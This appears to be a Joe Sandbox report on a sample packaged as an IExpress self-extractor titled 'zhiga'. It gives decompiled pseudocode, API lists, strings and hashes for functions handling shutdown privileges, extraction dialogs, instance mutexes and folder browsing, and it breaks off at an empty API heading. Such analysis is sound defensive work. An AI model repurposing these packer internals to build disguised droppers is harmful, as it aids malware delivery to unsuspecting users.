0x00f81fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00F81EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00F81F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00F81FD3

Strings

SeShutdownPrivilege, xrefs: 00F81F28

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: e6159ec9afa2ad91e34393e62bef4f1d0f91b9fbf7731077404ebe208f17e4ab
Instruction ID: 863b8c94d020b1e36eb1bf2d852f6b3e2791c4a04108dd37feb749b97ee84a52
Opcode Fuzzy Hash: e6159ec9afa2ad91e34393e62bef4f1d0f91b9fbf7731077404ebe208f17e4ab
Instruction Fuzzy Hash: 7A218871F402096AEB207BA19C4EFFB76BCFB85B61F100219FB06D6181D7798842B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F86CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F86CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00f86cf7
0x00f86d00
0x00f86d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00F86E26,00F81000), ref: 00F86CF7
UnhandledExceptionFilter.KERNEL32(00F86E26,?,00F86E26,00F81000), ref: 00F86D00
GetCurrentProcess.KERNEL32(C0000409,?,00F86E26,00F81000), ref: 00F86D0B
TerminateProcess.KERNEL32(00000000,?,00F86E26,00F81000), ref: 00F86D12

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 7cbcf4c16f1644d61c82686fedde776e0d3b72fd0fe9b38cdd1c8ebd92896626
Instruction ID: bb9024d3069dc1ac8d5d4addee58cdd0ef5b690df018dd5a5755c719aaf9839b
Opcode Fuzzy Hash: 7cbcf4c16f1644d61c82686fedde776e0d3b72fd0fe9b38cdd1c8ebd92896626
Instruction Fuzzy Hash: 96D0C93200090CBBFB002BE1EC0CAA93F28EB48616F484002F31982021CA364451AF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F83210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00F83210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E00F843D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "zhiga");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0xf89a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0xf891e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E00F844B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0xf891e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0xf891e5 - 3;
						if(_t49 - 0xf891e5 < 3) {
							goto L32;
						}
						_t24 =  *0xf891e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0xf891e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E00F8658A(0xf891e4, 0x104, 0xf81140);
								_t27 = E00F858C8(0xf891e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0xf891e4 - 0x5c;
									if( *0xf891e4 != 0x5c) {
										L30:
										_t30 = E00F8597D(0xf891e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0xf891e5 - 0x5c;
									if( *0xf891e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E00F844B9(_t64, 0x54a, 0xf891e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0xf891e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0xf891e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0xf891e4 - 0x5c;
						if( *0xf891e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0xf89124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0xf89a3c, 0x3e8, 0xf88598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00F84224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0xf887a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E00F844B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x00f8321b
0x00f8321e
0x00f83221
0x00f8343c
0x00f8343e
0x00f8343f
0x00f83445
0x00f83447
0x00000000
0x00f83447
0x00f83229
0x00f8322a
0x00f8322f
0x00f833ec
0x00f833f7
0x00f83410
0x00f83416
0x00f8341d
0x00f8342d
0x00f8342d
0x00f83438
0x00000000
0x00f83438
0x00f83237
0x00f83243
0x00f83243
0x00f83246
0x00f832ee
0x00f832f4
0x00f832f6
0x00f833d4
0x00f833d6
0x00f833db
0x00f833dc
0x00f833de
0x00f833df
0x00f83370
0x00f83372
0x00000000
0x00f83372
0x00f832fc
0x00f83301
0x00f83301
0x00f83303
0x00f83304
0x00f83304
0x00f8330a
0x00f8330d
0x00000000
0x00000000
0x00f83313
0x00f83318
0x00f8331a
0x00f83331
0x00f83332
0x00f8333a
0x00f8333d
0x00f8337c
0x00f83388
0x00f8338f
0x00f83394
0x00f83396
0x00f833a4
0x00f833ab
0x00f833b6
0x00f833be
0x00f833c3
0x00f833c5
0x00f83435
0x00f83437
0x00f83437
0x00000000
0x00f83437
0x00f833c7
0x00f833c9
0x00f833cc
0x00000000
0x00f833cc
0x00f833ad
0x00f833b4
0x00000000
0x00000000
0x00000000
0x00f833b4
0x00f83398
0x00f83399
0x00f8339b
0x00f8339c
0x00f8339d
0x00000000
0x00f8339d
0x00f8334c
0x00f83351
0x00f83354
0x00000000
0x00000000
0x00f8335c
0x00f83362
0x00f83364
0x00000000
0x00000000
0x00f83366
0x00f83367
0x00f83369
0x00f8336a
0x00f8336b
0x00000000
0x00f8336b
0x00f8331c
0x00f83323
0x00000000
0x00000000
0x00f83329
0x00f8332b
0x00000000
0x00000000
0x00000000
0x00f8332b
0x00f8324c
0x00f8324c
0x00f8324f
0x00f832c8
0x00f832ce
0x00000000
0x00f832ce
0x00f83251
0x00f83256
0x00000000
0x00000000
0x00f83271
0x00f83277
0x00f83279
0x00f83298
0x00f8329d
0x00f8329f
0x00000000
0x00000000
0x00f832b0
0x00f832b6
0x00f832b8
0x00000000
0x00000000
0x00f832be
0x00f83280
0x00f83289
0x00f8328e
0x00000000
0x00f8328e
0x00f8327b
0x00000000
0x00f8327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00F88598,00000200), ref: 00F83271
GetDesktopWindow.USER32 ref: 00F833E2
SetWindowTextA.USER32(?,zhiga), ref: 00F833F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00F83410
GetDlgItem.USER32(?,00000836), ref: 00F83426
EnableWindow.USER32(00000000), ref: 00F8342D
EndDialog.USER32(?,00000000), ref: 00F8343F

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F832E2, 00F832E7, 00F83331, 00F83344, 00F8335B, 00F8336A
zhiga, xrefs: 00F833F1

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$zhiga
API String ID: 2418873061-2157855530
Opcode ID: 474633e13c8ba78efb9db3d44d00790c13dd9ebf4df271fe02faed632663cca6
Instruction ID: 3f338fb9d91bad84f49565cd2430b08ce4a6c8a746bf08647728c35d10361278
Opcode Fuzzy Hash: 474633e13c8ba78efb9db3d44d00790c13dd9ebf4df271fe02faed632663cca6
Instruction Fuzzy Hash: 295146307452457BFB21BB359C8DFFB3A5DDB86F64F144029F646961E0CAB88A02B361

Uniqueness

Uniqueness Score: -1.00%

Function 00F82CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F82CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0xf89a3c = __ecx;
				memset(0xf89140, 0, 0x8fc);
				memset(0xf88a20, 0, 0x32c);
				memset(0xf888c0, 0, 0x104);
				 *0xf893ec = 1;
				_t20 = E00F8468F("TITLE", 0xf89154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0xf8858c = _t27;
					SetEvent(_t27);
					_t64 = 0xf89a34;
					if(E00F8468F("EXTRACTOPT", 0xf89a34, 4) != 0) {
						if(( *0xf89a34 & 0x000000c0) == 0) {
							L12:
							 *0xf89120 =  *0xf89120 & _t65;
							if(E00F85C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0xf88a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0xf88184 != 0) {
										__imp__#17();
									}
									if( *0xf88a24 == 0) {
										_t57 = _t65;
										if(E00F836EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0xf89a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0xf89a34 & 0x00000100) == 0 || ( *0xf88a38 & 0x00000001) != 0 || E00F818A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00F86517(_t57, 0x7d6, _t34, E00F819E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00F82390(0xf88a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E00F844B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E00F8468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0xf88588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0xf89a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E00F844B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E00F844B9(0, 0x54b, "zhiga", 0, 0x10, 0);
										L11:
										CloseHandle( *0xf88588);
										 *0xf89124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0xf89124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00F86CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00f82cb5
0x00f82cbc
0x00f82cc7
0x00f82cc9
0x00f82cd1
0x00f82cd3
0x00f82cd9
0x00f82ce9
0x00f82cf9
0x00f82d0e
0x00f82d15
0x00f82d1c
0x00f82ef3
0x00000000
0x00f82d2d
0x00f82d34
0x00f82d3b
0x00f82d40
0x00f82d48
0x00f82d59
0x00f82d84
0x00f82e1f
0x00f82e1f
0x00f82e2e
0x00f82e41
0x00f82e5a
0x00f82e62
0x00f82e6c
0x00f82e6c
0x00f82e75
0x00f82e77
0x00f82e77
0x00f82e84
0x00f82e8b
0x00f82e94
0x00000000
0x00f82e96
0x00f82e96
0x00f82e9e
0x00f82ea2
0x00f82eba
0x00000000
0x00f82ece
0x00f82ede
0x00f82eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82eed
0x00f82eef
0x00f82eef
0x00f82eef
0x00f82eef
0x00f82ea2
0x00f82e86
0x00f82e88
0x00f82e88
0x00f82e43
0x00f82e48
0x00000000
0x00f82e48
0x00f82e30
0x00f82e30
0x00f82ef8
0x00f82f01
0x00000000
0x00f82f01
0x00f82d8a
0x00f82d8f
0x00f82da1
0x00000000
0x00f82da3
0x00f82dae
0x00f82db4
0x00f82dbb
0x00000000
0x00f82dca
0x00f82dd3
0x00f82df5
0x00f82e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82dd5
0x00f82dde
0x00f82de3
0x00f82e04
0x00f82e0a
0x00f82e10
0x00000000
0x00f82e10
0x00f82dd3
0x00f82dbb
0x00f82da1
0x00f82d5b
0x00f82d5b
0x00f82d5d
0x00f82d69
0x00f82d6e
0x00f82f06
0x00f82f06
0x00f82f06
0x00f82d59
0x00f82f18

APIs

memset.MSVCRT ref: 00F82CD9
memset.MSVCRT ref: 00F82CE9
memset.MSVCRT ref: 00F82CF9

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00F82DBD
CloseHandle.KERNEL32(zhiga,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F82E0A

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Strings

EXTRACTOPT, xrefs: 00F82D4D
TITLE, xrefs: 00F82D09
INSTANCECHECK, xrefs: 00F82D95
VERCHECK, xrefs: 00F82E54
zhiga, xrefs: 00F82D04, 00F82DD9, 00F82DF0

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$zhiga
API String ID: 1002816675-3407794480
Opcode ID: e705f01ac90e53be520f81ce3d93735e12645956cab5f89d571dda1197a88dce
Instruction ID: 22b4253e4d21e9eb6680ff6a7cc74673e86b1f5ffc43ae79a84b2645473fc7d4
Opcode Fuzzy Hash: e705f01ac90e53be520f81ce3d93735e12645956cab5f89d571dda1197a88dce
Instruction Fuzzy Hash: 07510870B443056BEBA4BB708C4ABFB3699EB45760F444029FA41D51D1DBB8EC42FB26

Uniqueness

Uniqueness Score: -1.00%

Function 00F834F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00F834F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0xf891d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0xf88584 = _t35;
					E00F843D0(_t35, GetDesktopWindow());
					__eflags =  *0xf88184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "zhiga");
					_t17 = CreateThread(0, 0, E00F84FE0, 0, 0, 0xf88798);
					 *0xf8879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E00F844B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0xf8858c);
					_t38 =  *0xf88584; // 0x0
					_t25 = E00F844B9(_t38, 0x4b2, 0xf81140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0xf891d8 = 1;
						SetEvent( *0xf8858c);
						_t39 =  *0xf8879c; // 0x0
						E00F83680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0xf8858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0xf8879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x00f834fb
0x00f834fe
0x00f83665
0x00f83666
0x00f83666
0x00f83668
0x00f8366e
0x00f8366e
0x00f83671
0x00f83671
0x00f83677
0x00000000
0x00f83677
0x00f83504
0x00f83506
0x00f83507
0x00f8350c
0x00f8365b
0x00f8365f
0x00000000
0x00000000
0x00000000
0x00f83661
0x00f83512
0x00f83515
0x00f835be
0x00f835c1
0x00f835d1
0x00f835d8
0x00f835de
0x00f835f8
0x00f83617
0x00f83617
0x00f83623
0x00f83637
0x00f8363d
0x00f83642
0x00f83644
0x00000000
0x00f83646
0x00f83652
0x00f83657
0x00f83658
0x00000000
0x00f83658
0x00f83644
0x00f8351b
0x00f8351d
0x00f8354f
0x00f83553
0x00000000
0x00000000
0x00f8355f
0x00f83565
0x00f8357c
0x00f83581
0x00f83584
0x00f8359b
0x00f835a1
0x00f835a7
0x00f835ad
0x00f835b3
0x00f835b8
0x00000000
0x00f835b8
0x00f83586
0x00f83588
0x00000000
0x00000000
0x00f83590
0x00000000
0x00f83590
0x00f83524
0x00f83535
0x00f83541
0x00000000
0x00f83549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00F83535
EndDialog.USER32(?,?), ref: 00F83541
ResetEvent.KERNEL32 ref: 00F8355F
SetEvent.KERNEL32(00F81140,00000000,00000020,00000004), ref: 00F83590
GetDesktopWindow.USER32 ref: 00F835C7
GetDlgItem.USER32(?,0000083B), ref: 00F835F1
SendMessageA.USER32(00000000), ref: 00F835F8
GetDlgItem.USER32(?,0000083B), ref: 00F83610
SendMessageA.USER32(00000000), ref: 00F83617
SetWindowTextA.USER32(?,zhiga), ref: 00F83623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,00F88798), ref: 00F83637
EndDialog.USER32(?,00000000), ref: 00F83671

Strings

zhiga, xrefs: 00F8361D

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: zhiga
API String ID: 2406144884-3705506974
Opcode ID: 143d2f7c301bdbb6a853edd7221c4851ea7bacf22c30148594a65a50a5dad725
Instruction ID: 7e12baad91acfb759934f752b89e7ee5f16aa0d595d99d976a4aff6c22161b37
Opcode Fuzzy Hash: 143d2f7c301bdbb6a853edd7221c4851ea7bacf22c30148594a65a50a5dad725
Instruction Fuzzy Hash: 6431E431240209BBEB206F28EC4DFFB3A68E785F60F54451AF602952B0DB799911FF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F84224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F84224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E00F844B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0xf888c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0xf887a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0xf88598;
					_v36 = 1;
					_v32 = E00F84200;
					_v28 = 0xf888c0;
					 *0xf8a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0xf8a288(_t32, 0xf888c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0xf888c0 != 0) {
							E00F81680(0xf887a0, 0x104, 0xf888c0);
						}
						 *0xf8a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0xf887a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0xf888c0);
					_t61 = 0xf888c0;
					_t4 =  &(_t61[1]); // 0xf888c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0xf888c0; // 0x1f11181
					_t44 = CharPrevA(0xf888c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0xf888c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00f84234
0x00f8423c
0x00f84240
0x00f843b2
0x00f843b7
0x00f843c0
0x00000000
0x00f843c5
0x00f8424c
0x00f84252
0x00f84257
0x00f843a4
0x00f843a5
0x00f843ab
0x00000000
0x00f843ab
0x00f84263
0x00f84269
0x00f8426e
0x00000000
0x00000000
0x00f8427a
0x00f84280
0x00f84285
0x00000000
0x00000000
0x00f8428d
0x00f84293
0x00f842e6
0x00f842e9
0x00f842ef
0x00f842f4
0x00f842f7
0x00f84300
0x00f84307
0x00f8430e
0x00f84315
0x00f8431c
0x00f84322
0x00f84326
0x00f8432d
0x00f8432d
0x00f8432f
0x00f84334
0x00f84343
0x00f84349
0x00f8434d
0x00f84354
0x00f84354
0x00f8435d
0x00f8436e
0x00f8436e
0x00f8437d
0x00f84383
0x00f84387
0x00f8438e
0x00f8438e
0x00f84387
0x00f84391
0x00f84399
0x00000000
0x00f84295
0x00f8429f
0x00f842a5
0x00f842aa
0x00f842aa
0x00f842ad
0x00f842ad
0x00f842af
0x00f842b0
0x00f842b6
0x00f842c2
0x00f842c8
0x00f842ce
0x00f842e4
0x00f842e4
0x00000000
0x00f842ce

APIs

